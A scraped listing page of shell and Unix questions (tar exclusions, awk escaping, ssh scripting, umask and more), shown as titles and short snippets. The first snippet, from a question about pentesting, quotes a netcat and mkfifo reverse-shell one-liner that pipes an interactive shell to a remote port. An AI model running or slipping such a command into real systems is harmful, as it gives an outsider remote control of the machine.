Skip to main content

All Questions

Tagged with
Filter by
Sorted by
Tagged with
0 votes
0 answers
34 views

Trying to understand telnet behavior and pentesting reverse shell in Unix

The first not working for me and the second working on telnet session, Unix: What is the difference between: .RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f And ...
Amir Niko's user avatar
1 vote
0 answers
66 views

How to let root use sudoedit as if it was a user?

I'm writing a wrapper for myself around vim that detects when the user's trying to edit a file that doesn't belong to them, and suggests sudoedit or visudo instead. I want to use sudoedit rather than ...
aaaalz's user avatar
  • 11
1 vote
0 answers
56 views

How to detox filenames in a bash script with no errors posted?

OS: Kubuntu 22.04.4 LTS x86_64 detox 1.4.5 To display above: neofetch --stdout |grep 'OS:' detox -V Here is a toxic filename, starts with s1: s1 Ä Ö Ü - ä ö ü Science & < > " 1 \ 2 ⁄ 3 ...
joseph22's user avatar
  • 367
0 votes
1 answer
236 views

Broken pipe, write error: An epidemic of unnecessary output

In the last few months, a problem has been spreading across my systems. That of broken pipe errors: # Solution: # silenced by replacing /bin/bzip2 -> bzip2-reference # to /bin/...
Hincor's user avatar
  • 1
2 votes
1 answer
51 views

How can I use the last changed file as an argument in linux?

I'm thinking of using the last changed file as an argument to commands like ls, echo, or cat, is there a simple and efficient way? this question arose when I was faced with analyzing the latest log ...
Ilgar's user avatar
  • 21
1 vote
1 answer
327 views

Shell command to tar directory excluding certain folders

In Bash 4, I want make a tar.gz with excluded folders, and while tons of answers about this simple case exist, nothing works in my case. I would like to keep the directory mentioned in exclude, ...
VOX's user avatar
  • 13
0 votes
2 answers
423 views

awk string replacement - properly escape '&' character

I am working on one of our applications to update the docker image from using static configs for each environment to a single template using dynamic variable insertion with awk. Our Dockerfile calls a ...
kat.is.konfused's user avatar
0 votes
1 answer
860 views

tail -f nohup.out gives cannot open 'nohup.out' for reading: No such file or directory

I connected to a remote server using ssh protocol and launched this command in order to run my python script remotely: nohup python3.8 -u sab.py > log_15_09_2023.txt & This works fine since if ...
tail's user avatar
  • 111
1 vote
1 answer
1k views

How do I create a shell script that will exit the ssh session after executing the remote commands

I'm trying to write a bash script to compile and deploy some code to a remote server. So far I have been struggling to figure out how to get the script to exit the ssh session. I thought I could just ...
pbuchheit's user avatar
  • 113
0 votes
1 answer
341 views

Why UNIX socket files end with and equal sign in ls?

When I list (ls) files in directory, I see the equal sign = after some files. All these files in my case are UNIX domain socket files: user@Debian11:~/src/unix_sock$ l a.out* cli_stream* ...
NK-cell's user avatar
  • 195
1 vote
1 answer
2k views

Find command in IBM AIX

I would verify that files in the location listed may not have both the other-write and any execute permissions set. This requirement to be applied recursively to files contained within subdirectories. ...
medisamm's user avatar
  • 113
1 vote
1 answer
983 views

Unix/Linux "shutdown": How to prevent wall message and terminal blocking?

I'm making a script that adds a layer of functionality on top of the shutdown command. It's intended to schedule a shutdown a while into the future, and sends out it's own wall message. How do I ...
user avatar
5 votes
1 answer
481 views

Unix script with a trap inside ssh

My plan is to write a script to debug a remote web server. Since the debug port is blocked by the firewall, I need to forward the remote port via ssh to my local machine. This part is working fine. ...
Johannes von Zmuda's user avatar
0 votes
0 answers
109 views

Batch file using WinSCP won't execute UNIX shell script that assigns variables to output of "more" command

I am working with a Batch script that uses WinSCP to transfer files from an UNIX machine to a windows machine. To achieve this, WinSCP has to call shell scripts on the UNIX side. There is one shell ...
Tony E's user avatar
  • 1
0 votes
1 answer
294 views

Need to iterate Backwards in a linux/unix path

I have a script that would have multiple paths (folder names). Each folder path would have a Dockerfile, but its uncertain at what level that file would exist. Lets say my path is "v1/airflow/1....
Mohammed Ali's user avatar
0 votes
1 answer
131 views

Output to stdout and external txt file

I am trying to redirect the stdout of a particular output to a txt file, however I would still like to view it in the console log tail -f /var/log/kern.log | ./prsfwlog -f elfs/prs_log.elf | \ grep -E ...
Nir's user avatar
  • 1
0 votes
2 answers
1k views

Setting environment variables using eval - by calling other shell script

I have two shell scripts Caller and getGlobalParameters. There is a function defined in the getGlobalParameters script which calls a java class and uses the values returned by the java class to set ...
Sachin khot's user avatar
0 votes
0 answers
90 views

MD5 File Concatenation

dears, can any one help me on here is an example md5 file which contains several checksums. (between the dashes) You will see that 6 are for files in on subdir and 2 are for files in the directory: ---...
Anas Saleh's user avatar
0 votes
3 answers
8k views

Unix: How to Exit Out of "/" directory?

I am learning some elements of the Unix environment myself. I have tried to search up this question but perhaps I am not wording it correctly. It is quite possibly a very trivial question, too, but I ...
algebroo's user avatar
  • 101
0 votes
0 answers
148 views

How to change permissions for a file in Ubuntu?

I run the file ./schema.pg.sh with the command sudo ./schema.pg.sh in /sql directory. But the terminal throws an error: could not change directory to "/sql": Permission denied Script I am ...
lian. lun's user avatar
0 votes
2 answers
389 views

Accidentally made an alias for a pre-existing command on OS X

I was toying around with aliases and made an alias to take me to the directory where I store all my bash projects via the cd command. However, I used 'bash' as a name for the alias. Now when I run all ...
Caecilius-rgb's user avatar
0 votes
1 answer
803 views

Inodes in External Disk full. Actually not

Checking inode usage: [cold] > df -ih . Filesystem Inodes IUsed IFree IUse% Mounted on /dev/sdb1 59M 59M 7.9K 100% /home/doom/cold Here we see 100% Inode usage. 59 million inodes ...
Tickler_'s user avatar
0 votes
1 answer
459 views

How to do a recursive filename `find` from the shell using a glob pattern with "set braces"

From the shell, I'd like to recursively search a directory for a given glob pattern. But I want to use set-braces-syntax in my pattern: find ~/path/to/dir -name '*.{h,m}' Here I'd like to recursively ...
Todd Ditchendorf's user avatar
0 votes
1 answer
1k views

How to remove everything between quotation marks in Unix

How do I remove everything between and including single quotes in Unix/Linux? Example: Input : WHERE EnodeB_Fin Date_Time_Fin >= '2022-03-15 00:00:00' Output : WHERE EnodeB_Fin Date_Time_Fin &...
Sam's user avatar
  • 1
0 votes
1 answer
2k views

simple bash script for collecting logs

I'm new with BASH scripting and I need a little help if it's possible. Let's say there's a UNIX server from which I want to gather some simple log events (let's say .txt files). Let's say log events ...
mrk's user avatar
  • 1
1 vote
3 answers
342 views

What does the "cyg" prefix mean?

I've seen so many cyg prefixed things like cygstart, cygpath, cygwin etc., but what exactly does this prefix mean?
Wenfang Du's user avatar
4 votes
3 answers
411 views

How can I delete all files that have names not ending on exactly 2 digits?

I am currently trying to delete several files. I want to delete all files with file names that do not end on two digits (and when I say ending on two digits I mean it disregarding the .txt file ...
HaskellNoob's user avatar
0 votes
1 answer
232 views

How to copy hidden file names to a text file in unix?

I have several directories which contain hidden empty files. I need the name of these file names themselves, so I need to write the filenames to a txt file. My script looks like this: cd /z/...
Fnechz's user avatar
  • 1
1 vote
1 answer
3k views

How to disable ssh non-interactive commands from the server side?

Currently I have a server with openssh7.1 installed, which supports non-interactive commands like : ssh user@server ls. Is there a way to disable such type of command on the server side?
cancantian's user avatar
0 votes
0 answers
638 views

How can I add a function inside my .bash_profile?

I need to use a modified grep function to find certain jobs on our cronjob repositories (cvs & git) in a more automated way. So I got these functions already made for that job, but not sure how ...
Gabe Saucedo's user avatar
1 vote
1 answer
1k views

Keep Color output with grep at systemctl status

I'm trying to get the original color of the output of this command with grep: sudo systemctl status telegraf | grep -e ● -e Active Output of command with this command the output is red, but i want it ...
Tobias2001's user avatar
0 votes
0 answers
12 views

Why does tailing logs with kubectl prevent pipe from producing output? [duplicate]

I'm trying to process logs while tailing them. This command works: kubectl logs "$pod" --tail=100 | egrep pattern | cut -d ' ' -f 1 But this command produces no output: kubectl logs "$...
Dmitry Minkovsky's user avatar
1 vote
1 answer
1k views

How to find the first and last occurrence of date field in a log file in linux?

log_file: 2021-08-29 23:25:46,398 IST INFO :......mailslot_create: creating socket for querying route 2021-08-29 23:25:46,398 IST INFO :.....mailbox_register: no mailbox necessary for forward ...
bug24's user avatar
  • 11
0 votes
0 answers
33 views

Creating large number of simlinks

I have 335 pathes to same files (some with different names) DarkestDungeon/colours/default_colour_grade.png DarkestDungeon/dlc/735730_color_of_madness/dungeons/farm/colour_grade.png DarkestDungeon/...
Gribanov's user avatar
3 votes
1 answer
2k views

tar extracting on root directory is destroying entire system

I'm not sure whats going on... I wasn't aware tar did this. But when I extract a tar on top of the root fs (/) with all the permission stuff turned off... for instance: root@system:~# tar --no-same-...
Sanchke Dellowar's user avatar
0 votes
1 answer
641 views

Using mv/cp to replace a invalid symlink with directory

I have a symlink at /tmp/bot which I want to replace with a directory. But I am getting error mv: cannot overwrite non-directory '/tmp/bot' with directory 'log' Steps to reproduce error # Create a ...
Pranjal Doshi's user avatar
-2 votes
1 answer
1k views

How I remove or erase ls -l | head -3 | tail -l to start over. What command I type?

How do I remove or erase ls -l | head -3 | tail -l to start over. What command should I use? Since my ls -l | head -3 | tail - l has double exit1.sh, exit2.sh.it isn’t same picture instruction
Cuong Nguyen's user avatar
0 votes
1 answer
84 views

To deeply learn how my new Macbook works do I need to learn Unix? [closed]

I've been a Windows person since 1988 and I've bought my first Mac. Yeah thanks. I used to be tech support for Microsoft so it's horrible not knowing deeply how my new machine works. I understand that ...
Luke Puplett's user avatar
  • 1,641
0 votes
0 answers
164 views

Including chmod in shell script - will it work for everyone?

I have a large wrapper.sh file which does a lot of things, but in the end runs catalina.sh tomcat. Problem is that users who run this wrapper.sh are experiencing error: no permissions to execute ...
Avaldor's user avatar
  • 101
0 votes
1 answer
2k views

Is there a way to make Unix diff -r compare only differences in filenames, but not check if any single file actually differs?

I need to compare two large directories with a lot of files in them. I tried using: diff -r Directory1 Directory2 but unfortunately the process is really slow due to the amount of files and their ...
Francesco Ghizzo's user avatar
2 votes
1 answer
271 views

Understanding umask

I have the following task: What are the rights if you create a file file1 and a directory dir1 and used umask 026 before? Now use umask 233 and perform the following: cat file1 > file2 mv file1 ...
user avatar
77 votes
8 answers
240k views

"PuTTY key format too new" when using ppk file for PuTTY SSH key authentication

I wanted to connect to my Unix server using SSH keys. For that I had converted my id_rsa file from ./ssh directory to a ppk file using PuTTYgen, but after loading my .ppk key I get this warning: ...
Siddharth Khokhar's user avatar
0 votes
1 answer
3k views

Shell Script : Take filename as an argument and on a standard output display the contents of the file with line number prefixed to it

So, I'm new to shell scripting and I'm trying to write a shell script which takes filename(.txt) as an argument and displays the line number prefixed with each line on a standard output. This is the ...
saurabh's user avatar
1 vote
2 answers
7k views

How can I execute a command on a remote server through scp?

When using ssh to access raspberry pi running balenaos, ssh -t -p 22222 root@device-ip "balena-engine exec -it <container_name> /bin/sh" grants me access to a specific container inside ...
Ken's user avatar
  • 11
0 votes
3 answers
314 views

Is there an elegant way to move all sub-directories in the current directory to a new sub-directory?

I often run into the following situation. I am in a directory with several sub-directories like so $ls a b c d I would like to archive directories a-d by moving them into a new directory at the same ...
Cole's user avatar
  • 141
0 votes
3 answers
472 views

In bash, how can I list only files?

I'm looking to list only files and directories and no extra data. It's used for parsing the data and I don't need the extra items of file size, permissions...etc. TIA
Dale's user avatar
  • 1,185
0 votes
1 answer
511 views

How are bash variables containing a file path with non-ascii characters and spaces used as input for commands, cat, exiftool, etc.?

I have set a variable: myvar='/home/user/shares/D/iPhoto\ Library\ Main.migratedphotolibrary/Data.noindex/2002/102008\ \ name\ lname\ event/PICT0002_2_face0.jpg' Then tried to cat this variable: cat ...
Karl's user avatar
  • 3
0 votes
0 answers
46 views

I need to do bulk find and replace

I have file1.txt with these lines abc def ghi file2.txt with these lines jkl mno pqr jkl jkl mno mno mno pqr I want to write a script that replaces all occurrences of the string jkl in file2....
Wasfi's user avatar
  • 1
1 vote
1 answer
879 views

How to rearrange columns when you don't know their initial positions (UNIX, BASH)

I'm having an issue to rearrange columns of a csv file (separator ";"). I know where the columns should be, but not where they are in the first place. Example of file: first_name ; age ; ...
DuDu Advocate's user avatar
0 votes
1 answer
198 views

Create new screen with correct environment and at pwd

It's been brought to my attention from my users that the screen command can be made a little easier to use. Initially, calling screen creates a fresh bash environment at the pwd of wherever the user ...
Jeff's user avatar
  • 111

1
2 3 4 5
13